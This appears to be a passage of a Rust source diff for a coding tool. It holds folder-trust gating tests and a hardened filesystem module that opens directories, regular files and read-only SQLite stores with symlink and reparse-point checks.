EnvVarGuard::set(kigi_version::TEST_VERSION_ENV, Path::new("0.0.0-sim"))
}
#[test]
fn local_build_ignores_remote_rollout() {
// A local/dev build never gates (auto-trust): even a remote rollout enable
// is ignored, so the feature stays off and resolves Trusted with repo
// configs present + interactive. (Env/config isolated to unset so the
// remote flag is unambiguously the only enable being dropped here.)
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
let _flag = EnvVarGuard::unset("KIGI_FOLDER_TRUST");
let remote = RemoteSettings {
folder_trust_enabled: Some(true),
..Default::default()
};
let feature = feature_enabled_for_build(Some(&remote), true);
assert!(!feature);
let i = DecideInputs {
is_interactive: true,
..inputs()
};
assert_eq!(decide(feature, &i), TrustOutcome::Trusted);
}
#[test]
fn release_build_keeps_gate_when_enabled() {
// A release-stamped build (is_local_build=false) honors the remote enable,
// keeping today's gate. Isolate config so neither on-disk user/managed
// config nor an ambient env flag can override it: empty KIGI_SHARE_DIR (no
// config.toml/managed_config.toml) + KIGI_FOLDER_TRUST unset. nextest's
// process-per-test makes kigi_home()'s OnceLock pick up the temp dir.
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
let _flag = EnvVarGuard::unset("KIGI_FOLDER_TRUST");
let remote = RemoteSettings {
folder_trust_enabled: Some(true),
..Default::default()
};
let feature = feature_enabled_for_build(Some(&remote), false);
assert!(feature);
let i = DecideInputs {
is_interactive: true,
..inputs()
};
assert_eq!(decide(feature, &i), TrustOutcome::Prompt);
}
#[test]
fn local_build_ignores_explicit_env_optin() {
// Auto-trust is absolute on a local build: even an explicit
// KIGI_FOLDER_TRUST=1 does NOT enable the feature (so a self-built grok
// never prompts). KIGI_SHARE_DIR isolated so on-disk config can't influence it.
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
let _flag = EnvVarGuard::set("KIGI_FOLDER_TRUST", Path::new("1"));
assert!(!feature_enabled_for_build(None, true));
}
#[test]
fn release_build_defaults_on() {
// A release-stamped build with no env/config/managed/remote signal defaults
// the feature ON. Empty KIGI_SHARE_DIR (no config.toml/managed config) +
// KIGI_FOLDER_TRUST unset so only the default applies.
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
let _flag = EnvVarGuard::unset("KIGI_FOLDER_TRUST");
assert!(feature_enabled_for_build(None, false));
}
#[test]
fn is_local_build_honors_test_version_override() {
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
// A pinned KIGI_TEST_VERSION simulates a release build => not a local build.
{
let _sim = EnvVarGuard::set(kigi_version::TEST_VERSION_ENV, Path::new("0.0.0-sim"));
assert!(!is_local_build());
}
// With it unset, an unstamped build (no KIGI_VERSION) is a local build.
// Guard to the unstamped case so a release-stamped test binary (CI release)
// doesn't spuriously fail this arm.
let _unset = EnvVarGuard::unset(kigi_version::TEST_VERSION_ENV);
if option_env!("KIGI_VERSION").is_none() {
assert!(is_local_build());
}
}
#[test]
fn store_io_is_noop_on_local_build() {
// On a local/dev build the whole feature is inert. Both halves pin a guard
// via a UNIQUE per-repo key (never store-file existence) so they hold under
// single-process `cargo test` too. Assert ONLY when compiled unstamped
// (mirrors `is_local_build_honors_test_version_override`); KIGI_SHARE_DIR-isolated
// and ENV_LOCK-serialized so toggling KIGI_TEST_VERSION is race-safe.
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
let _unset = EnvVarGuard::unset(kigi_version::TEST_VERSION_ENV);
if option_env!("KIGI_VERSION").is_some() {
return; // a release-stamped test binary is not a local build
}
let tmp = repo_tmp();
let key = workspace_key(tmp.path());
// grant is a no-op: a local-build grant never trusts the fresh key.
grant_folder_trust(tmp.path());
assert!(
!TrustStore::load().is_trusted(&key),
"local build: grant_folder_trust must not trust the folder"
);
// Seed a genuinely-trusted folder under a simulated release build (so the
// store actually records the grant); the guard drops at block end => local.
{
let _sim = simulate_release_build();
let mut store = TrustStore::load();
store.set_trusted(&key).unwrap();
assert!(
TrustStore::load().is_trusted(&key),
"release build: seeding must record the trust grant"
);
}
// revoke is a no-op: a local-build revoke returns false AND leaves the grant
// intact (without the guard it would `set_untrusted` and return true).
assert!(
!revoke_folder_trust_store(tmp.path()),
"local build: revoke_folder_trust_store must return false"
);
assert!(
TrustStore::load().is_trusted(&key),
"local build: revoke_folder_trust_store must not untrust the folder"
);
}
#[test]
fn revoke_folder_trust_store_persists_untrust_for_trusted_folder() {
// The store half of revoke, tested directly (not just via the shell
// wrapper): a previously-trusted folder reports was_trusted=true AND gets
// an explicit `set_untrusted` persisted, so it is untrusted on reload.
// KIGI_SHARE_DIR-isolated so the seed/deny hit a temp store, not the real file.
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _env = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
let _sim = simulate_release_build();
let tmp = repo_tmp();
let key = workspace_key(tmp.path());
let mut store = TrustStore::load();
store.set_trusted(&key).unwrap();
assert!(TrustStore::load().is_trusted(&key));
assert!(
revoke_folder_trust_store(tmp.path()),
"a trusted folder must report was_trusted=true"
);
assert!(
!TrustStore::load().is_trusted(&key),
"store-only revoke must persist set_untrusted for a trusted folder"
);
}
#[test]
fn revoke_folder_trust_store_writes_no_deny_for_never_trusted_folder() {
// The cascade-poisoning guard: revoking a NEVER-trusted child returns
// false and writes NO explicit child deny, so a later ancestor grant still
// cascades to the child (a spurious child `set_untrusted` would win
// most-specific and break the cascade). This store half does NOT touch the
// `DECISIONS` cache — that downgrade is the shell wrapper's job.
// KIGI_SHARE_DIR-isolated so the grant writes to a temp store.
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _env = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
let _sim = simulate_release_build();
// Distinct git roots so `workspace_key` keeps parent/child as separate
// keys (the child's own `.git` stops discovery at the child).
let parent = repo_tmp();
let child = parent.path().join("child");
std::fs::create_dir_all(&child).unwrap();
git2::Repository::init(&child).unwrap();
assert!(
!revoke_folder_trust_store(&child),
"revoking a never-trusted folder must return false"
);
// No child deny was written, so an ancestor grant still cascades down.
let mut store = TrustStore::load();
store.set_trusted(&workspace_key(parent.path())).unwrap();
assert!(
TrustStore::load().is_trusted(&workspace_key(&child)),
"ancestor grant must cascade to a child revoked-while-untrusted (no poisoning deny)"
);
}
#[test]
fn decide_inputs_flags_home_key_unrecordable() {
// Case-2 wiring: with cwd == $HOME (git-init'd so workspace_key discovers
// it as the home git root), the gather flags key_recordable=false and
// decide() trusts it despite configs + interactive. $HOME is overridden so
// dirs::home_dir()/workspace_key see the tempdir as home.
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _home = EnvVarGuard::set("HOME", home.path());
git2::Repository::init(home.path()).unwrap();
let home_key = crate::trust::workspace_key(home.path());
let home_inputs = decide_inputs_with_interactive(home.path(), &home_key, true);
assert!(
!home_inputs.key_recordable,
"cwd == $HOME must gather key_recordable=false"
);
assert_eq!(
decide(true, &home_inputs),
TrustOutcome::Trusted,
"an unrecordable home key resolves Trusted (no prompt, no gate)"
);
// A non-home repo subdir key is recordable — the Case-2 rule can't
// over-trigger for a real fetched repo.
let repo = repo_tmp();
let subdir = repo.path().join("pkg");
std::fs::create_dir_all(&subdir).unwrap();
let repo_key = crate::trust::workspace_key(&subdir);
let repo_inputs = decide_inputs_with_interactive(&subdir, &repo_key, true);
assert!(
repo_inputs.key_recordable,
"a non-home repo key must gather key_recordable=true"
);
}
}
@@ -0,0 +1,295 @@
use std::ffi::OsString;
use std::fs::{File, Metadata};
use std::ops::Deref;
use std::path::{Path, PathBuf};
use std::sync::Arc;
use std::time::{Duration, SystemTime};
use kigi_sqlite_journal::JournalMode;
use rusqlite::{Connection, OpenFlags};
#[cfg(unix)]
mod unix;
#[cfg(windows)]
mod windows;
#[derive(Debug, Clone)]
pub(super) struct ApprovedRoot {
path: PathBuf,
directory: Arc<File>,
}
pub(super) struct OpenedRegularFile {
pub file: File,
pub path: PathBuf,
pub metadata: Metadata,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(super) struct DirectoryVisit {
pub visited: usize,
pub complete: bool,
}
pub(super) struct ReadTransactionSqlite {
connection: Connection,
#[allow(dead_code)]
metadata: Metadata,
}
impl ReadTransactionSqlite {
fn new(connection: Connection, metadata: Metadata) -> Self {
Self {
connection,
metadata,
}
}
#[allow(dead_code)]
pub fn metadata(&self) -> &Metadata {
&self.metadata
}
}
impl Deref for ReadTransactionSqlite {
type Target = Connection;
fn deref(&self) -> &Self::Target {
&self.connection
}
}
impl Drop for ReadTransactionSqlite {
fn drop(&mut self) {
let _ = self.connection.execute_batch("ROLLBACK");
}
}
impl ApprovedRoot {
pub fn new(path: &Path) -> Option<Self> {
let path = dunce::canonicalize(path).ok()?;
#[cfg(unix)]
let directory = unix::open_directory_path(&path)?;
#[cfg(windows)]
let directory = windows::open_directory_path(&path)?;
#[cfg(not(any(unix, windows)))]
let directory: File = return None;
let metadata = directory.metadata().ok()?;
if !metadata.is_dir() || has_reparse_point(&metadata) {
return None;
}
#[cfg(windows)]
if !windows::directory_path_matches(&path, &directory) {
return None;
}
Some(Self {
path,
directory: Arc::new(directory),
})
}
pub fn path(&self) -> &Path {
&self.path
}
pub fn join(&self, path: impl AsRef<Path>) -> PathBuf {
self.path.join(path)
}
#[allow(dead_code)]
pub fn modified(&self) -> Option<SystemTime> {
self.directory.metadata().ok()?.modified().ok()
}
pub fn subroot(&self, path: &Path) -> Option<Self> {
#[cfg(unix)]
{
let relative = self.relative_path(path)?;
let directory = unix::open_directory_relative(&self.directory, &relative)?;
let metadata = directory.metadata().ok()?;
if !metadata.is_dir() {
return None;
}
Some(Self {
path: self.path.join(relative),
directory: Arc::new(directory),
})
}
#[cfg(not(unix))]
{
let _ = path;
None
}
}
pub fn for_each_entry(&self, visit: impl FnMut(OsString)) -> bool {
#[cfg(unix)]
{
unix::visit_directory_names(&self.directory, visit)
}
#[cfg(not(unix))]
{
let _ = visit;
false
}
}
pub fn for_each_entry_bounded(
&self,
max_entries: usize,
visit: impl FnMut(OsString),
) -> DirectoryVisit {
#[cfg(unix)]
{
unix::visit_directory_names_bounded(&self.directory, max_entries, visit)
}
#[cfg(not(unix))]
{
let _ = (max_entries, visit);
DirectoryVisit {
visited: 0,
complete: false,
}
}
}
fn relative_path(&self, path: &Path) -> Option<PathBuf> {
let relative = if path.is_absolute() {
path.strip_prefix(&self.path).ok()?
} else {
path
};
relative
.components()
.all(|component| {
matches!(
component,
std::path::Component::Normal(_) | std::path::Component::CurDir
)
})
.then(|| relative.to_path_buf())
}
pub fn resolve_regular_file(&self, path: &Path) -> Option<(PathBuf, Metadata)> {
let opened = self.open_regular_file(path)?;
Some((opened.path, opened.metadata))
}
pub fn open_regular_file(&self, path: &Path) -> Option<OpenedRegularFile> {
#[cfg(unix)]
{
let relative = self.relative_path(path)?;
let file = unix::open_regular_relative(&self.directory, &relative)?;
let metadata = file.metadata().ok()?;
if !metadata.is_file() {
return None;
}
Some(OpenedRegularFile {
file,
path: self.path.join(relative),
metadata,
})
}
#[cfg(windows)]
{
let path = if path.is_absolute() {
path.to_path_buf()
} else {
self.join(path)
};
let parent = dunce::canonicalize(path.parent()?).ok()?;
if !parent.starts_with(&self.path) {
return None;
}
let path = parent.join(path.file_name()?);
let expected = std::fs::symlink_metadata(&path).ok()?;
if !expected.is_file()
|| expected.file_type().is_symlink()
|| has_reparse_point(&expected)
{
return None;
}
let canonical_path = dunce::canonicalize(&path).ok()?;
if canonical_path.parent() != Some(parent.as_path())
|| !canonical_path.starts_with(&self.path)
{
return None;
}
let file = windows::open_regular_path(&canonical_path)?;
let metadata = file.metadata().ok()?;
if !metadata.is_file()
|| has_reparse_point(&metadata)
|| !windows::canonical_file_matches(&canonical_path, &file)
{
return None;
}
return Some(OpenedRegularFile {
file,
path: canonical_path,
metadata,
});
}
#[cfg(not(any(unix, windows)))]
{
let _ = path;
None
}
}
}
pub(super) fn open_sqlite_transaction(
root: &ApprovedRoot,
path: &Path,
) -> Option<ReadTransactionSqlite> {
open_sqlite_transaction_with_journal_mode(root, path, JournalMode::for_db_path(path))
}
fn open_sqlite_transaction_with_journal_mode(
root: &ApprovedRoot,
path: &Path,
journal_mode: JournalMode,
) -> Option<ReadTransactionSqlite> {
match journal_mode {
JournalMode::Wal => {}
JournalMode::Truncate => return None,
}
let opened = root.open_regular_file(path)?;
// These are same-user application stores. Canonical containment and a
// non-symlink final file are validated above; adversarial swap-and-restore
// races are outside this scanner's local-user threat model. Only local WAL
// reaches this direct read-only/query-only open; its native coordination may
// still update SHM read marks despite scanner SQL making no logical writes.
let connection = Connection::open_with_flags(
&opened.path,
OpenFlags::SQLITE_OPEN_READ_ONLY
| OpenFlags::SQLITE_OPEN_NO_MUTEX
| OpenFlags::SQLITE_OPEN_NOFOLLOW,
)
.ok()?;
let _ = connection.busy_timeout(Duration::from_millis(50));
connection
.execute_batch("PRAGMA query_only=ON; BEGIN DEFERRED")
.ok()?;
connection
.query_row("SELECT COUNT(*) FROM sqlite_schema", [], |row| {
row.get::<_, i64>(0)
})
.ok()?;
Some(ReadTransactionSqlite::new(connection, opened.metadata))
}
#[cfg(windows)]
fn has_reparse_point(metadata: &Metadata) -> bool {
use std::os::windows::fs::MetadataExt as _;
const FILE_ATTRIBUTE_REPARSE_POINT: u32 = 0x400;
metadata.file_attributes() & FILE_ATTRIBUTE_REPARSE_POINT != 0
}
#[cfg(not(windows))]
fn has_reparse_point(_metadata: &Metadata) -> bool {
false
}
#[cfg(test)]
mod tests;
@@ -0,0 +1,224 @@
#[cfg(unix)]
use std::ffi::OsString;
#[cfg(windows)]
use super::windows;
use super::*;
use crate::foreign_sessions::canonical_tempdir;
#[cfg(unix)]
#[test]
fn retained_directory_capability_survives_path_replacement() {
use std::io::Read as _;
let (_tempdir, root) = canonical_tempdir();
let outside = tempfile::tempdir().unwrap();
let original = root.join("sessions");
std::fs::create_dir_all(&original).unwrap();
std::fs::write(original.join("inside"), "inside").unwrap();
std::fs::write(outside.path().join("outside"), "outside").unwrap();
let approved = ApprovedRoot::new(&root).unwrap();
let retained = approved.subroot(&original).unwrap();
let moved = root.join("sessions-original");
std::fs::rename(&original, &moved).unwrap();
std::os::unix::fs::symlink(outside.path(), &original).unwrap();
let mut names = Vec::new();
assert!(retained.for_each_entry(|name| names.push(name)));
assert!(names.contains(&OsString::from("inside")));
assert!(!names.contains(&OsString::from("outside")));
let mut contents = String::new();
retained
.open_regular_file(&retained.join("inside"))
.unwrap()
.file
.read_to_string(&mut contents)
.unwrap();
assert_eq!(contents, "inside");
assert!(
retained
.open_regular_file(&retained.join("outside"))
.is_none()
);
}
#[cfg(unix)]
#[test]
fn bounded_directory_visit_reports_exact_cutoff() {
let root = tempfile::tempdir().unwrap();
for index in 0..5 {
std::fs::write(root.path().join(format!("entry-{index}")), "").unwrap();
}
let approved = ApprovedRoot::new(root.path()).unwrap();
let mut visited = Vec::new();
let outcome = approved.for_each_entry_bounded(3, |name| visited.push(name));
assert_eq!(visited.len(), 3);
assert_eq!(
outcome,
DirectoryVisit {
visited: 3,
complete: false,
}
);
let small = tempfile::tempdir().unwrap();
std::fs::write(small.path().join("a"), "").unwrap();
std::fs::write(small.path().join("b"), "").unwrap();
let approved = ApprovedRoot::new(small.path()).unwrap();
let mut visited = 0;
assert_eq!(
approved.for_each_entry_bounded(3, |_| visited += 1),
DirectoryVisit {
visited: 2,
complete: true,
}
);
let exact = tempfile::tempdir().unwrap();
for index in 0..3 {
std::fs::write(exact.path().join(format!("entry-{index}")), "").unwrap();
}
let approved = ApprovedRoot::new(exact.path()).unwrap();
let mut visited = 0;
assert_eq!(
approved.for_each_entry_bounded(3, |_| visited += 1),
DirectoryVisit {
visited: 3,
complete: true,
}
);
assert_eq!(visited, 3);
}
#[cfg(unix)]
#[test]
fn nonblocking_open_rejects_fifo() {
use std::os::unix::ffi::OsStrExt as _;
let root = tempfile::tempdir().unwrap();
let fifo = root.path().join("metadata");
let path = std::ffi::CString::new(fifo.as_os_str().as_bytes()).unwrap();
// SAFETY: the path is NUL-terminated and points into the live tempdir.
assert_eq!(unsafe { libc::mkfifo(path.as_ptr(), 0o600) }, 0);
let approved = ApprovedRoot::new(root.path()).unwrap();
assert!(approved.open_regular_file(&fifo).is_none());
}
#[test]
fn sqlite_truncate_mode_skips_foreign_database_without_mutation() {
let root = tempfile::tempdir().unwrap();
let path = root.path().join("state.db");
let connection = rusqlite::Connection::open(&path).unwrap();
connection
.execute_batch(
"PRAGMA journal_mode=WAL;
CREATE TABLE values_for_test (value INTEGER);
INSERT INTO values_for_test VALUES (42);",
)
.unwrap();
drop(connection);
let contents = std::fs::read(&path).unwrap();
let approved = ApprovedRoot::new(root.path()).unwrap();
assert!(
open_sqlite_transaction_with_journal_mode(&approved, &path, JournalMode::Truncate)
.is_none()
);
assert_eq!(std::fs::read(&path).unwrap(), contents);
let connection =
rusqlite::Connection::open_with_flags(&path, rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY)
.unwrap();
let journal_mode: String = connection
.query_row("PRAGMA journal_mode", [], |row| row.get(0))
.unwrap();
assert_eq!(journal_mode, "wal");
}
#[test]
fn sqlite_wal_mode_queries_and_pins_snapshot() {
let (_tempdir, root) = canonical_tempdir();
let path = root.join("state.db");
let writer = rusqlite::Connection::open(&path).unwrap();
writer
.execute_batch(
"PRAGMA journal_mode=WAL;
PRAGMA wal_autocheckpoint=0;
CREATE TABLE values_for_test (value INTEGER);
PRAGMA wal_checkpoint(TRUNCATE);
INSERT INTO values_for_test VALUES (42);",
)
.unwrap();
let approved = ApprovedRoot::new(&root).unwrap();
let database =
open_sqlite_transaction_with_journal_mode(&approved, &path, JournalMode::Wal).unwrap();
let value: i64 = database
.query_row("SELECT value FROM values_for_test", [], |row| row.get(0))
.unwrap();
assert_eq!(value, 42);
writer
.execute("INSERT INTO values_for_test VALUES (43)", [])
.unwrap();
let count: i64 = database
.query_row("SELECT COUNT(*) FROM values_for_test", [], |row| row.get(0))
.unwrap();
assert_eq!(count, 1);
drop(writer);
}
#[test]
fn sqlite_scanner_connection_is_query_only() {
let (_tempdir, root) = canonical_tempdir();
let path = root.join("state.db");
let connection = rusqlite::Connection::open(&path).unwrap();
connection
.execute_batch("CREATE TABLE values_for_test (value INTEGER);")
.unwrap();
drop(connection);
let approved = ApprovedRoot::new(&root).unwrap();
let database = open_sqlite_transaction(&approved, &path).unwrap();
let query_only: i64 = database
.query_row("PRAGMA query_only", [], |row| row.get(0))
.unwrap();
assert_eq!(query_only, 1);
assert!(
database
.execute("INSERT INTO values_for_test VALUES (1)", [])
.is_err()
);
}
#[cfg(windows)]
#[test]
fn windows_open_verifies_stable_file_identity() {
let root = tempfile::tempdir().unwrap();
let first = root.path().join("first");
let second = root.path().join("second");
std::fs::write(&first, "first").unwrap();
std::fs::write(&second, "second").unwrap();
let approved = ApprovedRoot::new(root.path()).unwrap();
let opened = approved.open_regular_file(&first).unwrap();
let first_again = windows::open_regular_path(&first).unwrap();
let second = windows::open_regular_path(&second).unwrap();
assert!(windows::same_file_for_test(&first_again, &opened.file));
assert!(!windows::same_file_for_test(&second, &opened.file));
assert!(opened.path.starts_with(approved.path()));
assert!(windows::final_path_matches_for_test(
&opened.path,
&opened.file
));
}
#[cfg(windows)]
#[test]
fn windows_directory_scans_fail_closed() {
let root = tempfile::tempdir().unwrap();
let child = root.path().join("child");
std::fs::create_dir_all(&child).unwrap();
let approved = ApprovedRoot::new(root.path()).unwrap();
assert!(approved.subroot(&child).is_none());
assert!(!approved.for_each_entry(|_| panic!("enumerated on Windows")));
}
@@ -0,0 +1,240 @@
use std::ffi::{CStr, OsStr, OsString};
use std::fs::{File, OpenOptions};
use std::path::Path;
use super::DirectoryVisit;
pub(super) fn open_directory_path(path: &Path) -> Option<File> {
use std::os::unix::fs::OpenOptionsExt as _;
let mut options = OpenOptions::new();
options
.read(true)
.custom_flags(libc::O_DIRECTORY | libc::O_CLOEXEC | libc::O_NOFOLLOW | libc::O_NONBLOCK);
options.open(path).ok()
}
pub(super) fn open_directory_relative(directory: &File, path: &Path) -> Option<File> {
let mut current = directory.try_clone().ok()?;
for component in path.components() {
let std::path::Component::Normal(name) = component else {
continue;
};
current = openat_component(
&current,
name,
libc::O_RDONLY
| libc::O_DIRECTORY
| libc::O_CLOEXEC
| libc::O_NOFOLLOW
| libc::O_NONBLOCK,
)?;
}
Some(current)
}
pub(super) fn open_regular_relative(directory: &File, path: &Path) -> Option<File> {
let parent = path.parent().unwrap_or_else(|| Path::new(""));
let directory = open_directory_relative(directory, parent)?;
openat_component(
&directory,
path.file_name()?,
libc::O_RDONLY | libc::O_CLOEXEC | libc::O_NOFOLLOW | libc::O_NONBLOCK,
)
}
fn openat_component(directory: &File, name: &OsStr, flags: i32) -> Option<File> {
use std::os::fd::{AsRawFd as _, FromRawFd as _};
use std::os::unix::ffi::OsStrExt as _;
let name = std::ffi::CString::new(name.as_bytes()).ok()?;
// SAFETY: the directory fd and NUL-terminated child name are valid; no
// creation mode argument is required because the flags never create.
let fd = unsafe { libc::openat(directory.as_raw_fd(), name.as_ptr(), flags) };
// SAFETY: a nonnegative `openat` result transfers one owned fd.
(fd >= 0).then(|| unsafe { File::from_raw_fd(fd) })
}
struct DirectoryStream(*mut libc::DIR);
impl DirectoryStream {
fn open(directory: &File) -> Option<Self> {
use std::os::fd::AsRawFd as _;
let dot = c".";
// SAFETY: opening "." relative to a live directory fd returns an
// independent directory description for `fdopendir` to own.
let fd = unsafe {
libc::openat(
directory.as_raw_fd(),
dot.as_ptr(),
libc::O_RDONLY
| libc::O_DIRECTORY
| libc::O_CLOEXEC
| libc::O_NOFOLLOW
| libc::O_NONBLOCK,
)
};
if fd < 0 {
return None;
}
// SAFETY: `fd` is an owned directory fd and ownership passes to DIR.
let stream = unsafe { libc::fdopendir(fd) };
if stream.is_null() {
// SAFETY: ownership did not transfer when `fdopendir` failed.
unsafe {
libc::close(fd);
}
return None;
}
Some(Self(stream))
}
fn next(&mut self) -> Result<Option<OsString>, ()> {
use std::os::unix::ffi::OsStringExt as _;
loop {
set_errno(0);
// SAFETY: the stream remains owned and live until close/drop.
let entry = unsafe { libc::readdir(self.0) };
if entry.is_null() {
return if errno() == 0 { Ok(None) } else { Err(()) };
}
// SAFETY: POSIX guarantees a NUL-terminated d_name for this entry.
let name = unsafe { CStr::from_ptr((*entry).d_name.as_ptr()) }.to_bytes();
if name != b"." && name != b".." {
return Ok(Some(OsString::from_vec(name.to_vec())));
}
}
}
fn close(mut self) -> bool {
let stream = std::mem::replace(&mut self.0, std::ptr::null_mut());
// SAFETY: this is the one explicit close for the owned DIR stream.
unsafe { libc::closedir(stream) == 0 }
}
}
impl Drop for DirectoryStream {
fn drop(&mut self) {
if !self.0.is_null() {
// SAFETY: Drop owns the stream only when explicit close did not.
unsafe {
libc::closedir(self.0);
}
}
}
}
pub(super) fn visit_directory_names(directory: &File, mut visit: impl FnMut(OsString)) -> bool {
let Some(mut stream) = DirectoryStream::open(directory) else {
return false;
};
let complete = loop {
match stream.next() {
Ok(Some(name)) => visit(name),
Ok(None) => break true,
Err(()) => break false,
}
};
stream.close() && complete
}
pub(super) fn visit_directory_names_bounded(
directory: &File,
max_entries: usize,
mut visit: impl FnMut(OsString),
) -> DirectoryVisit {
let Some(mut stream) = DirectoryStream::open(directory) else {
return DirectoryVisit {
visited: 0,
complete: false,
};
};
let mut visited = 0;
let complete = loop {
if visited == max_entries {
break matches!(stream.next(), Ok(None));
}
match stream.next() {
Ok(Some(name)) => {
visited += 1;
visit(name);
}
Ok(None) => break true,
Err(()) => break false,
}
};
DirectoryVisit {
visited,
complete: stream.close() && complete,
}
}
#[cfg(any(target_os = "linux", target_os = "dragonfly"))]
fn errno() -> i32 {
// SAFETY: libc exposes one thread-local errno cell for the current thread.
unsafe { *libc::__errno_location() }
}
#[cfg(any(target_os = "linux", target_os = "dragonfly"))]
fn set_errno(value: i32) {
// SAFETY: libc exposes one thread-local errno cell for the current thread.
unsafe {
*libc::__errno_location() = value;
}
}
#[cfg(any(target_os = "macos", target_os = "ios", target_os = "freebsd"))]
fn errno() -> i32 {
// SAFETY: libc exposes one thread-local errno cell for the current thread.
unsafe { *libc::__error() }
}
#[cfg(any(target_os = "macos", target_os = "ios", target_os = "freebsd"))]
fn set_errno(value: i32) {
// SAFETY: libc exposes one thread-local errno cell for the current thread.
unsafe {
*libc::__error() = value;
}
}
#[cfg(any(target_os = "android", target_os = "netbsd", target_os = "openbsd"))]
fn errno() -> i32 {
// SAFETY: libc exposes one thread-local errno cell for the current thread.
unsafe { *libc::__errno() }
}
#[cfg(any(target_os = "android", target_os = "netbsd", target_os = "openbsd"))]
fn set_errno(value: i32) {
// SAFETY: libc exposes one thread-local errno cell for the current thread.
unsafe {
*libc::__errno() = value;
}
}
#[cfg(not(any(
target_os = "linux",
target_os = "android",
target_os = "macos",
target_os = "ios",
target_os = "freebsd",
target_os = "dragonfly",
target_os = "netbsd",
target_os = "openbsd"
)))]
fn errno() -> i32 {
1
}
#[cfg(not(any(
target_os = "linux",
target_os = "android",
target_os = "macos",
target_os = "ios",
target_os = "freebsd",
target_os = "dragonfly",
target_os = "netbsd",
target_os = "openbsd"
)))]
fn set_errno(_value: i32) {}
@@ -0,0 +1,166 @@
use std::ffi::OsString;
use std::fs::{File, OpenOptions};
use std::path::{Path, PathBuf};
pub(super) fn open_directory_path(path: &Path) -> Option<File> {
use std::os::windows::fs::OpenOptionsExt as _;
const FILE_FLAG_BACKUP_SEMANTICS: u32 = 0x0200_0000;
const FILE_FLAG_OPEN_REPARSE_POINT: u32 = 0x0020_0000;
let mut options = OpenOptions::new();
options
.read(true)
.custom_flags(FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT);
options.open(path).ok()
}
pub(super) fn open_regular_path(path: &Path) -> Option<File> {
use std::os::windows::fs::OpenOptionsExt as _;
const FILE_FLAG_OPEN_REPARSE_POINT: u32 = 0x0020_0000;
let mut options = OpenOptions::new();
options
.read(true)
.custom_flags(FILE_FLAG_OPEN_REPARSE_POINT);
options.open(path).ok()
}
pub(super) fn directory_path_matches(path: &Path, expected: &File) -> bool {
let Some(opened) = open_directory_path(path) else {
return false;
};
same_open_file(expected, &opened) && final_handle_path_matches(path, expected)
}
pub(super) fn canonical_file_matches(path: &Path, expected: &File) -> bool {
let Ok(canonical) = dunce::canonicalize(path) else {
return false;
};
if canonical != path {
return false;
}
let Some(opened) = open_regular_path(path) else {
return false;
};
same_open_file(expected, &opened) && final_handle_path_matches(path, expected)
}
pub(super) fn same_open_file(expected: &File, opened: &File) -> bool {
file_identity(expected)
.is_some_and(|expected| file_identity(opened).is_some_and(|opened| opened == expected))
}
pub(super) fn final_handle_path_matches(path: &Path, file: &File) -> bool {
use std::os::windows::io::AsRawHandle as _;
final_path_from_raw_handle(file.as_raw_handle().cast()).is_some_and(|handle_path| {
dunce::canonicalize(path).is_ok_and(|path| path == dunce::simplified(&handle_path))
})
}
#[derive(Clone, Copy, PartialEq, Eq)]
struct FileIdentity {
volume_serial_number: u32,
file_index: u64,
}
#[repr(C)]
#[allow(dead_code)]
struct FileTime {
low: u32,
high: u32,
}
#[repr(C)]
#[allow(dead_code)]
struct ByHandleFileInformation {
file_attributes: u32,
creation_time: FileTime,
last_access_time: FileTime,
last_write_time: FileTime,
volume_serial_number: u32,
file_size_high: u32,
file_size_low: u32,
number_of_links: u32,
file_index_high: u32,
file_index_low: u32,
}
fn file_identity(file: &File) -> Option<FileIdentity> {
use std::os::windows::io::AsRawHandle as _;
raw_handle_identity(file.as_raw_handle().cast())
}
fn raw_handle_identity(handle: *mut std::ffi::c_void) -> Option<FileIdentity> {
#[link(name = "kernel32")]
unsafe extern "system" {
#[link_name = "GetFileInformationByHandle"]
fn get_file_information_by_handle(
file: *mut std::ffi::c_void,
information: *mut ByHandleFileInformation,
) -> i32;
}
let mut information = std::mem::MaybeUninit::uninit();
// SAFETY: the borrowed handle is live and the output has the exact
// BY_HANDLE_FILE_INFORMATION layout.
let result = unsafe { get_file_information_by_handle(handle, information.as_mut_ptr()) };
if result == 0 {
return None;
}
// SAFETY: a nonzero result initializes the entire output structure.
let information = unsafe { information.assume_init() };
Some(FileIdentity {
volume_serial_number: information.volume_serial_number,
file_index: (u64::from(information.file_index_high) << 32)
| u64::from(information.file_index_low),
})
}
fn final_path_from_raw_handle(handle: *mut std::ffi::c_void) -> Option<PathBuf> {
use std::os::windows::ffi::OsStringExt as _;
#[link(name = "kernel32")]
unsafe extern "system" {
#[link_name = "GetFinalPathNameByHandleW"]
fn get_final_path_name_by_handle(
file: *mut std::ffi::c_void,
path: *mut u16,
path_len: u32,
flags: u32,
) -> u32;
}
// SAFETY: a null output with length zero is the documented size query.
let needed = unsafe { get_final_path_name_by_handle(handle, std::ptr::null_mut(), 0, 0) };
if needed == 0 {
return None;
}
let mut buffer = vec![0_u16; needed as usize + 1];
// SAFETY: `buffer` has the advertised writable UTF-16 capacity.
let written = unsafe {
